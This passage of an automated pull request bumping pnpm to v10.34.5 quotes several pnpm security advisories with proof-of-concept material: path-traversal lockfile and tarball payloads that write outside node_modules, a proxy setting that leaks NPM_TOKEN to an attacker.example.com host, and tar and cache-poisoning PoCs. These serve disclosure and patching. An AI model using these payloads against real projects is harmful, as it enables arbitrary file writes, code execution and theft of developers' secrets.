`lockfileToDepGraph.ts:232` → `modules = path.join(dirInVirtualStore, 'node_modules')` 4. `lockfileToDepGraph.ts:233` → `dir = path.join(modules, pkgName)` → resolves to `/tmp/pwned` (ESCAPES virtual store) 5. `storeController.importPackage(depNode.dir, ...)` → writes package content to the traversed path ##### Why Existing Defenses Don't Catch It - **`depPathToFilename()`** — replaces `/` with `+` for the `dirInVirtualStore` path, but `pkgName` comes SEPARATELY from `dp.parse()` and is NOT passed through this function - **`verifyLockfileResolutions()`** — validates dependency map keys (aliases) via `isValidDependencyAlias()`, but never validates the depPath keys themselves - **Lockfile parser** — `yaml.load(lockfileRawContent)` with no schema validation on `packages` keys - **`importPackage()`** — accepts `targetDir` and passes it directly to `cafsStore.importPackage(targetDir, ...)` with zero containment check - **Integrity verification** — requires a real fetchable package but does not validate the destination path ##### Escalation to RCE (non-default config) When `dangerouslyAllowAllBuilds: true` is configured (or the traversal package name is in the explicit `allowBuilds` list), the same traversed path is used in the rebuild phase at `after-install/src/index.ts:402,470`. The attacker's `postinstall` script then executes with the victim's shell access. Under default config, `allowBuild` returns false for unknown packages, limiting impact to arbitrary file write. ##### Also Affected (PnP linker) When `nodeLinker: pnp` is configured, `lockfileToPackageRegistry()` at `lockfile/to-pnp/src/index.ts:105-110` uses the same unvalidated `dp.parse().name` in `packageLocation` construction, allowing the `.pnp.cjs` resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker). ##### Impact An attacker who can commit a crafted `pnpm-lock.yaml` to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs `pnpm install`. Written content is the actual package files from a real npm package (attacker controls which package and which destination). Targets for arbitrary file write include: - `.git/hooks/pre-commit` — code execution on next git operation - `~/.local/bin/` — binary hijacking - Project source files — supply chain injection ##### Reproduction Craft a `pnpm-lock.yaml`: ```yaml lockfileVersion: '9.0' packages: ../../../../../../../tmp/pwned@1.0.0: resolution: {integrity: sha512-<real-package-integrity>} engines: {node: '>=14'} snapshots: ../../../../../../../tmp/pwned@1.0.0: {} importers: .: dependencies: legitimate-name: specifier: ^1.0.0 version: ../../../../../../../tmp/pwned@1.0.0 ``` Run `pnpm install` — package content is written to `/tmp/pwned/` instead of the virtual store. ##### Recommended Fix Apply `safeJoinModulesDir` (or equivalent validation) at: - `lockfileToDepGraph.ts:233` — `path.join(modules, pkgName)` - `after-install/src/index.ts:402` — `path.join(pkgModulesDir(depPath), pkgInfo.name)` - `lockfile/to-pnp/src/index.ts:105-110` — PnP `packageLocation` Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via `dp.parse()`. ##### Relationship to GHSA-fr4h-3cph-29xv GHSA-fr4h-3cph-29xv fixed the hoisted linker path (`lockfileToHoistedDepGraph.ts:222`) by adding `safeJoinModulesDir`. The same fix was NOT applied to the virtual store linker, which uses the identical `dp.parse().name → path.join()` pattern at `lockfileToDepGraph.ts:233`. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-c59q-g84q-2gj5](https://github.com/pnpm/pnpm/security/advisories/GHSA-c59q-g84q-2gj5) - [https://nvd.nist.gov/vuln/detail/CVE-2026-82392](https://nvd.nist.gov/vuln/detail/CVE-2026-82392) - [https://github.com/pnpm/pnpm/pull/12872](https://github.com/pnpm/pnpm/pull/12872) - [https://github.com/pnpm/pnpm/pull/12890](https://github.com/pnpm/pnpm/pull/12890) - [https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7](https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7) - [https://github.com/pnpm/pnpm/commit/78e29fe5583a1e5d69ea05e414eff310f78d5ed9](https://github.com/pnpm/pnpm/commit/78e29fe5583a1e5d69ea05e414eff310f78d5ed9) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.34.5](https://github.com/pnpm/pnpm/releases/tag/v10.34.5) - [https://github.com/pnpm/pnpm/releases/tag/v11.11.0](https://github.com/pnpm/pnpm/releases/tag/v11.11.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c59q-g84q-2gj5) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install [CVE-2026-82393](https://nvd.nist.gov/vuln/detail/CVE-2026-82393) / [GHSA-vq4v-j7r6-jq4m](https://github.com/advisories/GHSA-vq4v-j7r6-jq4m) <details> <summary>More information</summary> #### Details ##### Summary When resolving a package, pnpm uses the resolved **manifest `name`** as a raw path segment for the isolated-linker import target. A tarball dependency whose `package.json` `name` is a scoped path traversal (`@x/../../…/<abs path>`) is therefore extracted **outside `node_modules`**, to an attacker-chosen absolute path, and can **overwrite existing files** there. Attacker controls the destination, filenames, and contents → arbitrary file write → **code execution** (e.g. `~/.zshrc`, `.git/hooks/pre-commit`, another package's code). Occurs during `pnpm install` **even with `--ignore-scripts`** (no lifecycle scripts run), defeating that safety. Same class as the just-patched **GHSA-hwx4** (transitive-dependency *alias* traversal) and **GHSA-v23m** (`stage download` manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved **name**. ##### Root cause - The isolated-linker import target is built with a raw `path.join(modules, <resolved name>)` in `installing/deps-resolver/src/resolvePeers.ts:706`, `installing/deps-resolver/src/index.ts:614`, and `deps/graph-builder/src/lockfileToDepGraph.ts:233` — **without** the `safeJoinModulesDir` guard used on the symlink/hoisted/bin paths (`installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222`). The store location is `node_modules/.pnpm/<id>/node_modules/<name>`, so a traversal `<name>` escapes. - The only resolve-time name gate (`resolving/npm-resolver/src/pickPackage.ts:753`) rejects only *unscoped* names containing `/`, so a **scoped** `@x/../..` passes. ##### Steps to reproduce Self-contained PoC (real `pnpm@11.9.0`; loopback tarball server; escape target is a throwaway temp dir): ``` npm i pnpm@11.9.0 ##### host a tarball whose package.json name = "@&#8203;x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL pnpm install --ignore-scripts ``` Confirmed output (`repro/poc.mjs`, exit 0): ``` escape dir is outside the project : true new file implanted outside node_modules : true pre-existing file OVERWRITTEN : true *** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` *** ``` ##### Remediation Route the isolated-linker import-target joins (`resolvePeers.ts:706`, `deps-resolver/index.ts:614`, `lockfileToDepGraph.ts:233`) through `safeJoinModulesDir` (as the hoisted linker already does), and/or enforce `validate-npm-package-name` on the resolved manifest name (close the scoped-name gap at `pickPackage.ts:753`) so the import target rejects a traversal name and re-asserts containment before any write. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-vq4v-j7r6-jq4m](https://github.com/pnpm/pnpm/security/advisories/GHSA-vq4v-j7r6-jq4m) - [https://nvd.nist.gov/vuln/detail/CVE-2026-82393](https://nvd.nist.gov/vuln/detail/CVE-2026-82393) - [https://github.com/pnpm/pnpm/pull/12872](https://github.com/pnpm/pnpm/pull/12872) - [https://github.com/pnpm/pnpm/pull/12890](https://github.com/pnpm/pnpm/pull/12890) - [https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7](https://github.com/pnpm/pnpm/commit/51300fd41c5e4c8f47635108e373cc3d1f324fa7) - [https://github.com/pnpm/pnpm/commit/78e29fe5583a1e5d69ea05e414eff310f78d5ed9](https://github.com/pnpm/pnpm/commit/78e29fe5583a1e5d69ea05e414eff310f78d5ed9) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.34.5](https://github.com/pnpm/pnpm/releases/tag/v10.34.5) - [https://github.com/pnpm/pnpm/releases/tag/v11.11.0](https://github.com/pnpm/pnpm/releases/tag/v11.11.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vq4v-j7r6-jq4m) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml [CVE-2026-101043](https://nvd.nist.gov/vuln/detail/CVE-2026-101043) / [GHSA-vx52-2968-3vc6](https://github.com/advisories/GHSA-vx52-2968-3vc6) <details> <summary>More information</summary> #### Details ##### Summary pnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`. This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them. ##### Impact An attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs. This turns "I can author a project manifest" into "I read the victim's environment secrets." ##### Affected versions Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values. - pnpm 11.x: `>= 11.0.0, < 11.11.0` - pnpm 10.x: `>= 10.7.0, < 10.34.5` The Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected. ##### Patches - **pnpm 11.11.0** and later - **pnpm 10.34.5** and later The fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys. ##### Workarounds Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing. ##### Proof of concept ```yaml ##### pnpm-workspace.yaml in an untrusted repository packages: - . httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080" ``` With `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token. Unit level: ```js process.env.PNPM_TEST_TOKEN = 'secret' const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' }) // Vulnerable: o.httpsProxy === 'http://secret.evil/' // Patched: o.httpsProxy === undefined ``` Using `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface. ##### Credit Reported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -> `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6](https://github.com/pnpm/pnpm/security/advisories/GHSA-vx52-2968-3vc6) - [https://github.com/pnpm/pnpm/pull/12871](https://github.com/pnpm/pnpm/pull/12871) - [https://github.com/pnpm/pnpm/pull/12898](https://github.com/pnpm/pnpm/pull/12898) - [https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8](https://github.com/pnpm/pnpm/commit/36928beae9afb64a2a6a1221df54e66d361320c8) - [https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba](https://github.com/pnpm/pnpm/commit/5a4daec4bd5f0170b18ae053aff093eea56368ba) - [https://github.com/orgs/pnpm/discussions/13598](https://github.com/orgs/pnpm/discussions/13598) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v10.34.5](https://github.com/pnpm/pnpm/releases/tag/v10.34.5) - [https://github.com/pnpm/pnpm/releases/tag/v11.11.0](https://github.com/pnpm/pnpm/releases/tag/v11.11.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vx52-2968-3vc6) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> > :exclamation: **Important** > > Release Notes retrieval for this PR were skipped because no github.com credentials were available. > If you are self-hosted, please see [this instruction](https://github.com/renovatebot/renovate/blob/master/docs/usage/examples/self-hosting.md#githubcom-token-for-release-notes). --- ### pnpm incorrectly parses tar archives relative to specification [CVE-2023-37478](https://nvd.nist.gov/vuln/detail/CVE-2023-37478) / [GHSA-5r98-f33j-g8h7](https://github.com/advisories/GHSA-5r98-f33j-g8h7) <details> <summary>More information</summary> #### Details ##### Summary It is possible to construct a tarball that, when installed via npm or parsed by the registry is safe, but when installed via pnpm is malicious, due to how pnpm parses tar archives. ##### Details The TAR format is an append-only archive format, and as such, the specification for how to update a file is to add a new record to the end with the updated version of the file. This means that it is completely valid for an archive to contain multiple copies of, say, `package.json`, and the expected behavior when extracting is that all versions other than the last get ignored. This is further complicated by that during tarball extraction, all package managers are configured to drop the first path component, so collisions can be created simply by using multiple root folders in the archive, even without performing updates. When pnpm extracts a tar archive via tar-stream, it appears to extract only the _first_ file of a given name and discards all subsequent files with the same name. ##### PoC Create a root folder with the following layout: - `a/package.json` - `package/package.json` - `z/package.json` File contents: ##### a/package.json ```json { "name": "test-package", "version": "0.1.0", "description": "This is a bad version of a test package", "dependencies": { "react": "^15" } } ``` ##### package/package.json ```json { "name": "test-package", "version": "0.1.0", "description": "This is a bad version of a test package", "dependencies": { "react": "^16" } } ``` ##### z/package.json ```json { "name": "test-package", "version": "0.1.0", "description": "This is the good version of a test package", "dependencies": { "react": "^17" } } ``` Then use the tar binary to produce a tarball (working directory is the root folder): `tar -c -z --format ustar -f package.tgz a package z` The order of the folders at the end matters; whichever one is last will end up being the package.json that wins when extracted by npm; the one that is first will be the one that wins when extracted by pnpm. Install the tarball via the `file:` protocol. Observe that with npm, the lockfile has `react@17`, while with pnpm it has `react@15`. ##### Impact This can result in a package that appears safe on the npm registry or when installed via npm being replaced with a compromised or malicious version when installed via pnpm. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-5r98-f33j-g8h7](https://github.com/pnpm/pnpm/security/advisories/GHSA-5r98-f33j-g8h7) - [https://nvd.nist.gov/vuln/detail/CVE-2023-37478](https://nvd.nist.gov/vuln/detail/CVE-2023-37478) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) - [https://github.com/pnpm/pnpm/releases/tag/v7.33.4](https://github.com/pnpm/pnpm/releases/tag/v7.33.4) - [https://github.com/pnpm/pnpm/releases/tag/v8.6.8](https://github.com/pnpm/pnpm/releases/tag/v8.6.8) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5r98-f33j-g8h7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm no-script global cache poisoning via overrides / `ignore-scripts` evasion [CVE-2024-53866](https://nvd.nist.gov/vuln/detail/CVE-2024-53866) / [GHSA-vm32-9rqf-rh3r](https://github.com/advisories/GHSA-vm32-9rqf-rh3r) <details> <summary>More information</summary> #### Details ##### Summary pnpm seems to mishandle overrides and global cache: 1. Overrides from one workspace leak into npm metadata saved in global cache 2. npm metadata from global cache affects other workspaces 3. installs by default don't revalidate the data (including on first lockfile generation) This can make workspace A (even running with `ignore-scripts=true`) posion global cache and execute scripts in workspace B Users generally expect `ignore-scripts` to be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it). Here, that expectation is broken ##### Details See PoC. In it, overrides from a single run of A get leaked into e.g. `~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.json` and persistently affect all other projects using the cache ##### PoC Postinstall code used in PoC is benign and can be inspected in <https://www.npmjs.com/package/ponyhooves?activeTab=code>, it's just a `console.log` 1. Remove store and cache On mac: `rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/store` This step is not required in general, but we'll be using a popular package for PoC that's likely cached 2. Create `A/package.json`: ```json { "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } } ``` Install it with `pnpm i --ignore-scripts` (the flag is not required, but the point of the demo is to show that it doesn't help) 4. Create `B/package.json`: ```json { "name": "B", "dependencies": { "rimraf": "6.0.1" } } ``` Install it with `pnpm i` Result: ```console Packages: +3 +++ Progress: resolved 3, reused 3, downloaded 0, added 3, done node_modules/.pnpm/ponyhooves@1.0.1/node_modules/ponyhooves: Running postinstall script, done in 51ms dependencies: + rimraf 6.0.1 Done in 1.4s ``` Also, that code got leaked into another project and it's lockfile now! ##### Impact Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs As a work-around, use separate cache and store dirs in each workspace #### Severity - CVSS Score: 5.8 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-vm32-9rqf-rh3r](https://github.com/pnpm/pnpm/security/advisories/GHSA-vm32-9rqf-rh3r) - [https://nvd.nist.gov/vuln/detail/CVE-2024-53866](https://nvd.nist.gov/vuln/detail/CVE-2024-53866) - [https://github.com/pnpm/pnpm/commit/11afcddea48f25ed5117a87dc1780a55222b9743](https://github.com/pnpm/pnpm/commit/11afcddea48f25ed5117a87dc1780a55222b9743) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vm32-9rqf-rh3r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### pnpm uses the md5 path shortening function causes packet paths to coincide, which causes indirect packet overwriting [CVE-2024-47829](https://nvd.nist.gov/vuln/detail/CVE-2024-47829) / [GHSA-8cc4-rfj6-fhg4](https://github.com/advisories/GHSA-8cc4-rfj6-fhg4) <details> <summary>More information</summary> #### Details The path shortening function is used in pnpm: ``` export function depPathToFilename (depPath: string, maxLengthWithoutHash: number): string { let filename = depPathToFilenameUnescaped(depPath).replace(/[\\/:*?"<>|]/g, '+') if (filename.includes('(')) { filename = filename .replace(/\)$/, '') .replace(/(\)\()|\(|\)/g, '_') } if (filename.length > maxLengthWithoutHash || filename !== filename.toLowerCase() && !filename.startsWith('file+')) { return `${filename.substring(0, maxLengthWithoutHash - 27)}_${createBase32Hash(filename)}` } return filename } ``` However, it uses the md5 function as a path shortening compression function, and if a collision occurs, it will result in the same storage path for two different libraries. Although the real names are under the package name /node_modoules/, there are no version numbers for the libraries they refer to. ![Schematic picture](https://github.com/user-attachments/assets/7b8b87ab-f297-47bd-a9dd-43be86e36ed2) In the diagram, we assume that two packages are called packageA and packageB, and that the first 90 digits of their package names must be the same, and that the hash value of the package names with versions must be the same. Then C is the package that they both reference, but with a different version number. (npm allows package names up to 214 bytes, so constructing such a collision package name is obvious.) Then hash(packageA@1.2.3)=hash(packageB@3.4.5). This results in the same path for the installation, and thus under the same directory. Although the package names under node_modoules are the full paths again, they are shared with C. What is the exact version number of C? In our local tests, it depends on which one is installed later. If packageB is installed later, the C version number will change to 2.0.0. At this time, although package A requires the C@1.0.0 version, package. json will only work during installation, and will not affect the actual operation. We did not receive any installation error issues from pnpm during our local testing, nor did we use force, which is clearly a case that can be triggered. For a package with a package name + version number longer than 120, another package can be constructed to introduce an indirect reference to a lower version, such as one with some known vulnerability. Alternatively, it is possible to construct two packages with more than 120 package names + version numbers. This is clearly an advantage for those intent on carrying out supply chain attacks. The solution: The repair cost is also very low, just need to upgrade the md5 function to sha256. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L` #### References - [https://github.com/pnpm/pnpm/security/advisories/GHSA-8cc4-rfj6-fhg4](https://github.com/pnpm/pnpm/security/advisories/GHSA-8cc4-rfj6-fhg4) - [https://nvd.nist.gov/vuln/detail/CVE-2024-47829](https://nvd.nist.gov/vuln/detail/CVE-2024-47829) - [https://github.com/pnpm/pnpm](https://github.com/pnpm/pnpm) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8cc4-rfj6-fhg4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Stockholm) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODguMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4OC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhcmVhL3NlY3VyaXR5IiwidHlwZS9jaG9yZSJdfQ==-->
chore(deps): update pnpm to v10.34.5 [security]
Alla kontroller lyckades
CI / ci (pull_request) Successful in 1m5s
3e8cf2fb73
Alla kontroller lyckades
CI / ci (pull_request) Successful in 1m5s
Obligatorisk
Detaljer
Den här ändringsförfrågningen kan sammanfogas automatiskt.
Du är inte behörig att sammanfoga den här ändringsförfrågan.
Visa kommandoradsinstruktioner

Checka ut

Checka ut en ny gren från din projektkatalog och testa ändringarna.
git fetch -u origin renovate/npm-pnpm-vulnerability:renovate/npm-pnpm-vulnerability
git switch renovate/npm-pnpm-vulnerability
Logga in för att delta i denna konversation.
Inga granskare
Inga etiketter
Ingen milstolpe
Inget projekt
Inga tilldelade
1 deltagare
Notiser
Förfallodatum
Förfallodatumet är ogiltigt eller utanför gränserna. Använd formatet "åååå-mm-dd".

Inget förfallodatum satt.

Beroenden

Inga beroenden satta

Referens
supernaut/next-image-storyblok-loader!16
Ingen beskrivning angiven.